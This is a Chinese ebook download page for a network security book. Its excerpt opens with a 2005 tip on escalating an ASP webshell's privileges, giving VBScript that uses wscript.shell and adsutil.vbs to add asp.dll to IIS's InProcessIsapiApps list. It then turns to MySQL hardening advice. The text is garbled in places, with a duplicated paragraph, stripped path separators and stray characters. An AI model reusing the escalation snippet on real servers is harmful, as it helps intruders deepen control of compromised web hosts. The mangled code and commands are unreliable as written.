《《网络安全》》TXT全集
《网络安全》
书籍作者:未知
书籍类别:其他书籍
书籍格式:TXT
授权方式:免费下载
书籍大小:解压后(3.84 MB)
书籍字数:37212 字
更新时间:2010-08-21 10:27:48
上传用户:过以南
书籍来源:未知
已被围观:453
快捷下载:不看简介直接下载

内容简介

    ?asp提升权限技巧一则
    (2005-04-1520:38)
    asp木马一直是搞脚本的朋友喜欢使用的工具之一
    但由于它的权限一般都比较低(一般是IWAM_NAME权限)
    所以大家想出了各种方法来提升它的权限
    比如说通过asp木马得到mssql数据库的权限
    或拿到ftp的密码信息
    又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一
    但由于它的权限一般都比较低(一般是IWAM_NAME权限)
    所以大家想出了各种方法来提升它的权限
    比如说通过asp木马得到mssql数据库的权限
    或拿到ftp的密码信息
    又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限,代码如下
    setwsh=createobject("wscript.shell")'创建一个wsh对象
    a=wsh.run("cmd.exe/ccscript.exeC:InetpubAdminScriptsadsutil.vbsset/W3SVC/InProcessIsapiAppsC:WINNTsystem32inetsrvhttpext.dllC:WINNTsystem32inetsrvhttpodbc.dllC:WINNTsystem32inetsrvssinc.dllC:WINNTsystem32msw3prt.dllC:winntsystem32inetsrvasp.dll"
    0)'加入asp.dll到InProcessIsapiApps中
    ==========
    c)对于数字字段的变量,我们的应用程序必须进行严格的检查,否则是非常危险的。
    d)检查用户提交的数据是否超过字段的长度。
    e)不要给自己程序连接数据库的用户过多的访问权限。
    2)PHP:
    a)检查用户提交的数据在查询之前是否经过addslashes处理,在PHP4.0.3以后提供了基于MySQLCAPI的函数mysql_escape_string()。
    3)MySQLCAPI:
    a)检查查询字串是否用了mysql_escape_string()API调用。
    4)MySQL++:
    a)检查查询字串是否用了escape和"e处理。
    5)PerlDBI:
    a)检查查询字串是否用了"e()方法。
    6)JavaJDBC:
    a)检查查询字串是否用了PreparedStatement对象。
    4、一些小窍门
    1)如果不慎忘记了MySQL的root密码,我们可以在启动MySQL服务器时加上参数--skip-grant-tables来跳过授权表的验证(./safe_mysqld--skip-grant-tables&),这样我们就可以直接登陆MySQL服务器,然后再修改root用户的口令,重启MySQL就可以用新口令登陆了。
    2)启动MySQL服务器时加--skip-show-database使一般数据库用户不能浏览其它数据库。
    3)启动MySQL服务器时加上--chroot=path参数,让mysqld守护进程运行在chroot环境中∮肘样SQL语句LOADDATAINFILE和SELECT...INTOOUTFILE就限定在chroot_path下读写文件了∮肘里有一点要注意,MySQL启动后会建立一个mysql.sock文件,默认是在/tmp目录下。使用了chroot后,MySQL会在chroot_path/tmp去建立mysql.sock文件,如果没有chroot_path/tmp目录或启动MySQL的用户没有这个目录写权限就不能建立mysql.sock文件,MySQL会启动失败。比如我们加了--chroot=/usr/local/mysql/启动参数,那么最好建立一个启动MySQL的用户能写的/usr/local/mysql/tmp目录,当然我们也可以用--socket=path来指定mysql.sock文件的路径,但这个path一定要在chroot_path里面。
    4)启动MySQL服务器时加上--log-slow-queries=file参数,这样mysqld会把SQL命令执行时间超过long_query_time的写入file文件。如果没有指定=file,mysqld默认会写到数据目录下的hostname-slow.log。如果只指定了filename,没有指定路径,那么mysqld也会把filename写到数据目录下。我们通过这个日志文件可以找出执行时间超长的查询语句,然后尽可能的优化它减轻MySQL服务器的负担。
    5)如果我们只需本机使用MySQL服务,那么我们还可以加上--skip-networking启动参数使MySQL不监听任何TCP/IP连接,增加安全性。(非常推荐)
    6)MySQL的更多mysqld启动选项请见MySQL手册4.16.4mysqldCommand-lineOptions
    References

51
0

下载地址


扫描二维码下载本书

用户评论

自古评论出人才,欢迎您发表您的精彩评论!
《《网络安全》》最新评论